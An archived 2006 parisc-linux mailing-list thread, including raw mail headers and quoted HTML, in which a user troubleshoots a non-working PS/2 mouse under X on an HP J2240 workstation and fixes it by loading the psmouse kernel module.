&#8220;8/12/7 Built-in Keyboard/Mouse ps2 &#8220;.&nbsp; Hopefully some =
of the
information below will show the error of my ways.&nbsp; Any help would =
be
greatly appreciated!!!!<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>/etc/X11/XF86Config-4:<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>Section =
&quot;InputDevice&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;
Identifier&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Configured =
Mouse&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;
Driver&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&quot;mouse&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;
Option&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&quot;CorePointer&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;
Option&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&quot;Device&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&quot;/dev/psaux&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;
Option&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&quot;Protocol&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;
&quot;PS/2&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;
Option&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&quot;Emulate3Buttons&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&quot;true&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;
Option&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&quot;ZAxisMapping&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;
&quot;4 5&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>EndSection<o:p></o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>ll /dev/psaux<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"r_ansi"><span =
style=3D'font-size:10.0pt;
font-family:r_ansi'>crw-rw----&nbsp; 1 root root 10, 1 Jan 22 15:30 =
/dev/psaux</span></font><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>End of XFree86.0.log<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(II) Keyboard =
&quot;Generic
Keyboard&quot; handled by legacy driver<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Option =
&quot;Protocol&quot;
&quot;PS/2&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Configured Mouse: =
Protocol:
&quot;PS/2&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Option =
&quot;CorePointer&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Configured Mouse: =
Core Pointer<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Option =
&quot;Device&quot;
&quot;/dev/psaux&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Option
&quot;Emulate3Buttons&quot; =
&quot;true&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Configured Mouse:
Emulate3Buttons, Emulate3Timeout: 50<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Option
&quot;ZAxisMapping&quot; &quot;4 5&quot;<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Configured Mouse:
ZAxisMapping: buttons 4 and 5<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(**) Configured Mouse: =
Buttons: 5<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(II) XINPUT: Adding =
extended input
device &quot;Configured Mouse&quot; (type: =
MOUSE)<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>(II) Configured Mouse:
ps2EnableDataReporting: succeeded<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>Could not init font path =
element
unix/:7100, removing from list!<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"r_ansi"><span =
style=3D'font-size:10.0pt;
font-family:r_ansi'>AUDIT: Sun Jan 22 16:09:07 2006: 3943 X: client 4 =
rejected
from local host</span></font><font size=3D2 face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>howlin:/boot# grep -i =
mouse
config-2.6.8-2-32-smp<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_INPUT_MOUSEDEV=3Dy<o=
:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_INPUT_MOUSEDEV_PSAUX=
=3Dy<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_INPUT_MOUSEDEV_SCREE=
N_X=3D1024<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_INPUT_MOUSEDEV_SCREE=
N_Y=3D768<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_INPUT_MOUSEDEV_PSAUX=
_ENABLE=3Dy<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_INPUT_MOUSE=3Dy<o:p>=
</o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_MOUSE_PS2=3Dm<o:p></=
o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_MOUSE_SERIAL=3Dm<o:p=
></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_MOUSE_INPORT=3Dm<o:p=
></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'># CONFIG_MOUSE_ATIXL is =
not set<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_MOUSE_LOGIBM=3Dm<o:p=
></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_MOUSE_PC110PAD=3Dm<o=
:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_MOUSE_VSXXXAA=3Dm<o:=
p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-autospace:none'><font size=3D2 =
face=3D"r_ansi"><span
style=3D'font-size:10.0pt;font-family:r_ansi'>CONFIG_MOUSE_HIL=3Dm<o:p></=
o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"r_ansi"><span =
style=3D'font-size:10.0pt;
font-family:r_ansi'>CONFIG_USB_MOUSE=3Dm</span></font><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0017_01C61F70.AA3ED300--


--===============0127094609==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0127094609==--



From - Thu Nov 08 21:34:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 mouse
Date: Sun, 22 Jan 2006 22:35:32 +0100
Lines: 134
Approved: news@gmane.org
Message-ID: <200601222235.32555.deller@gmx.de>
References: <001601c61f9a$9314db00$3301a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623999 18015 80.91.229.3 (22 Nov 2014 02:39:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jan 2006 21:35:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 22 Jan 2006 22:35:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 407447D69A;
	Sun, 22 Jan 2006 14:35:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30179-05; Sun, 22 Jan 2006 14:35:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E6C17D69C;
	Sun, 22 Jan 2006 14:35:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCB3D7D699
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 14:35:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30201-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 14:35:35 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id B48AB7D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 14:35:34 -0700 (MST)
Original-Received: (qmail invoked by alias); 22 Jan 2006 21:35:33 -0000
Original-Received: from p54AD149F.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.20.159]
	by mail.gmx.net (mp033) with SMTP; 22 Jan 2006 22:35:33 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <001601c61f9a$9314db00$3301a8c0@POGO>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +J+hYwtNeSEkVb6WZHQhaXN1IGRvb8A2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23401

Try this:

Section "InputDevice"
	Identifier	"Mouse"
	Driver		"mouse"
	Option		"CorePointer"
	Option		"Device"		"/dev/input/mice"
	Option		"Protocol"		"ImPS/2"
	Option		"ZAxisMapping"		"4 5"
EndSection

Helge

On Sunday 22 January 2006 22:26, Craig D. Lansing wrote:
> 
> I'm almost there with X from the console.  Gnome "looks" good.  I finally
> got the video settings where I want them, I just can't seem to get the mouse
> to work.  I've tried almost every option via `dpkg-reconfigure
> xserver-xfree86`, but no luck.  I rebooted into HP-UX and the mouse does
> work there, so it isn't a hardware problem.  HP-UX sees the mouse as "8/12/7
> Built-in Keyboard/Mouse ps2 ".  Hopefully some of the information below will
> show the error of my ways.  Any help would be greatly appreciated!!!!
> 
> /etc/X11/XF86Config-4:
> 
> Section "InputDevice"
> 
>         Identifier      "Configured Mouse"
> 
>         Driver          "mouse"
> 
>         Option          "CorePointer"
> 
>         Option          "Device"                "/dev/psaux"
> 
>         Option          "Protocol"              "PS/2"
> 
>         Option          "Emulate3Buttons"       "true"
> 
>         Option          "ZAxisMapping"          "4 5"
> 
> EndSection
> 
>  
> 
> ll /dev/psaux
> 
> crw-rw----  1 root root 10, 1 Jan 22 15:30 /dev/psaux
> 
>  
> 
>  
> 
> End of XFree86.0.log
> 
>  
> 
> (II) Keyboard "Generic Keyboard" handled by legacy driver
> 
> (**) Option "Protocol" "PS/2"
> 
> (**) Configured Mouse: Protocol: "PS/2"
> 
> (**) Option "CorePointer"
> 
> (**) Configured Mouse: Core Pointer
> 
> (**) Option "Device" "/dev/psaux"
> 
> (**) Option "Emulate3Buttons" "true"
> 
> (**) Configured Mouse: Emulate3Buttons, Emulate3Timeout: 50
> 
> (**) Option "ZAxisMapping" "4 5"
> 
> (**) Configured Mouse: ZAxisMapping: buttons 4 and 5
> 
> (**) Configured Mouse: Buttons: 5
> 
> (II) XINPUT: Adding extended input device "Configured Mouse" (type: MOUSE)
> 
> (II) Configured Mouse: ps2EnableDataReporting: succeeded
> 
> Could not init font path element unix/:7100, removing from list!
> 
> AUDIT: Sun Jan 22 16:09:07 2006: 3943 X: client 4 rejected from local host
> 
>  
> 
>  
> 
> howlin:/boot# grep -i mouse config-2.6.8-2-32-smp
> 
> CONFIG_INPUT_MOUSEDEV=y
> 
> CONFIG_INPUT_MOUSEDEV_PSAUX=y
> 
> CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
> 
> CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
> 
> CONFIG_INPUT_MOUSEDEV_PSAUX_ENABLE=y
> 
> CONFIG_INPUT_MOUSE=y
> 
> CONFIG_MOUSE_PS2=m
> 
> CONFIG_MOUSE_SERIAL=m
> 
> CONFIG_MOUSE_INPORT=m
> 
> # CONFIG_MOUSE_ATIXL is not set
> 
> CONFIG_MOUSE_LOGIBM=m
> 
> CONFIG_MOUSE_PC110PAD=m
> 
> CONFIG_MOUSE_VSXXXAA=m
> 
> CONFIG_MOUSE_HIL=m
> 
> CONFIG_USB_MOUSE=m
> 
>  
> 
>  
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] J2240 mouse
Date: Sun, 22 Jan 2006 19:30:50 -0500
Lines: 213
Approved: news@gmane.org
Message-ID: <002801c61fb4$43296b00$3301a8c0@POGO>
References: <20060122233459.GA16327@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624000 18016 80.91.229.3 (22 Nov 2014 02:40:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:00 +0000 (UTC)
Cc: "'Helge Deller'" <deller@gmx.de>,
 <parisc-linux@lists.parisc-linux.org>
To: "'Richard Hirst'" <rhirst@levanta.com>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <clansing@charter.net>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jan 2006 00:30:57 -0000
Original-Received: from mxsf15.cluster1.charter.net (EHLO mxsf15.cluster1.charter.net) [209.225.28.215]
  by mx0.gmx.net (mx089) with SMTP; 23 Jan 2006 01:30:57 +0100
Original-Received: from mxip28a.cluster1.charter.net (mxip28a.cluster1.charter.net [209.225.28.187])
	by mxsf15.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id k0N0UtMP021628
	for <deller@gmx.de>; Sun, 22 Jan 2006 19:30:55 -0500
Original-Received: from 24-176-132-220.dhcp.sffl.va.charter.com (HELO POGO) ([24.176.132.220])
  by mxip28a.cluster1.charter.net with ESMTP; 22 Jan 2006 19:30:55 -0500
X-IronPort-AV: i="4.01,210,1136178000"; 
   d="scan'208"; a="703044153:sNHT23286632"
X-Mailer: Microsoft Office Outlook 11
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
Thread-Index: AcYfrHtLgTeP8RybRh+ercMdJAw3xQAA5RaA
In-Reply-To: <20060122233459.GA16327@levanta.com>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lUamYxU3eSEkK76WZHQhaXN1IGRvbwCQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23402


I was not at the console, but I did the following from a telnet session...

howlin:~# modprobe psmouse
howlin:~#

A little later I noticed a message on the console...

Input: PS/2 Logitech Mouse on parisc8:12:8
Ts: Compaq touchscreen protocol output

All works now in X, even the important stuff like mahjongg.  Thanx for the
help!!!!!!!!!!!!!


Here's the list of what is now working:
perl 5.8.4
php 4.3.10
php 5.1.2 (installed from source)
PostgreSQL 8.1.2 (installed from source)
Apache 2.0 (inc. perl CGI, php4, and php5 w/ PostgreSQL 8.1.2)
MySQL (installed and daemons run, I have not created a database)
wu-ftp
telnet
ssh
X (finally, inc. GNOME on HP p1120 console, remote sessions),  No XDMCP.

I'm impressed.  I'm glad I didn't haul the "J" to the dump.


-----Original Message-----
From: Richard Hirst [mailto:rhirst@levanta.com] 
Sent: Sunday, January 22, 2006 6:35 PM
To: Craig D. Lansing
Cc: 'Helge Deller'; parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] J2240 mouse

Have you tried 'modprobe psmouse' ?

Richard

On Sun, Jan 22, 2006 at 04:58:16PM -0500, Craig D. Lansing wrote:
> I'm fairly sure I tried that one, but just to safe I tried again.  Still
> nothing when moving the mouse or using any of the 3 buttons.
> 
> Section "InputDevice"
>         Identifier      "Mouse"
>         Driver          "mouse"
>         Option          "CorePointer"
>         Option          "Device"                "/dev/input/mice"
>         Option          "Protocol"              "ImPS/2"
>         Option          "ZAxisMapping"          "4 5"
> EndSection
> 
> [snip]
> 
> Section "ServerLayout"
>         Identifier      "Default Layout"
>         Screen          "Default Screen"
>         InputDevice     "Generic Keyboard"
>         InputDevice     "Mouse"
> EndSection
> 
> 
> 
> -----Original Message-----
> From: Helge Deller [mailto:deller@gmx.de] 
> Sent: Sunday, January 22, 2006 4:36 PM
> To: parisc-linux@lists.parisc-linux.org
> Cc: Craig D. Lansing
> Subject: Re: [parisc-linux] J2240 mouse
> 
> Try this:
> 
> Section "InputDevice"
> 	Identifier	"Mouse"
> 	Driver		"mouse"
> 	Option		"CorePointer"
> 	Option		"Device"		"/dev/input/mice"
> 	Option		"Protocol"		"ImPS/2"
> 	Option		"ZAxisMapping"		"4 5"
> EndSection
> 
> Helge
> 
> On Sunday 22 January 2006 22:26, Craig D. Lansing wrote:
> > 
> > I'm almost there with X from the console.  Gnome "looks" good.  I
finally
> > got the video settings where I want them, I just can't seem to get the
> mouse
> > to work.  I've tried almost every option via `dpkg-reconfigure
> > xserver-xfree86`, but no luck.  I rebooted into HP-UX and the mouse does
> > work there, so it isn't a hardware problem.  HP-UX sees the mouse as
> "8/12/7
> > Built-in Keyboard/Mouse ps2 ".  Hopefully some of the information below
> will
> > show the error of my ways.  Any help would be greatly appreciated!!!!
> > 
> > /etc/X11/XF86Config-4:
> > 
> > Section "InputDevice"
> > 
> >         Identifier      "Configured Mouse"
> > 
> >         Driver          "mouse"
> > 
> >         Option          "CorePointer"
> > 
> >         Option          "Device"                "/dev/psaux"
> > 
> >         Option          "Protocol"              "PS/2"
> > 
> >         Option          "Emulate3Buttons"       "true"
> > 
> >         Option          "ZAxisMapping"          "4 5"
> > 
> > EndSection
> > 
> >  
> > 
> > ll /dev/psaux
> > 
> > crw-rw----  1 root root 10, 1 Jan 22 15:30 /dev/psaux
> > 
> >  
> > 
> >  
> > 
> > End of XFree86.0.log
> > 
> >  
> > 
> > (II) Keyboard "Generic Keyboard" handled by legacy driver
> > 
> > (**) Option "Protocol" "PS/2"
> > 
> > (**) Configured Mouse: Protocol: "PS/2"
> > 
> > (**) Option "CorePointer"
> > 
> > (**) Configured Mouse: Core Pointer
> > 
> > (**) Option "Device" "/dev/psaux"
> > 
> > (**) Option "Emulate3Buttons" "true"
> > 
> > (**) Configured Mouse: Emulate3Buttons, Emulate3Timeout: 50
> > 
> > (**) Option "ZAxisMapping" "4 5"
> > 
> > (**) Configured Mouse: ZAxisMapping: buttons 4 and 5
> > 
> > (**) Configured Mouse: Buttons: 5
> > 
> > (II) XINPUT: Adding extended input device "Configured Mouse" (type:
MOUSE)
> > 
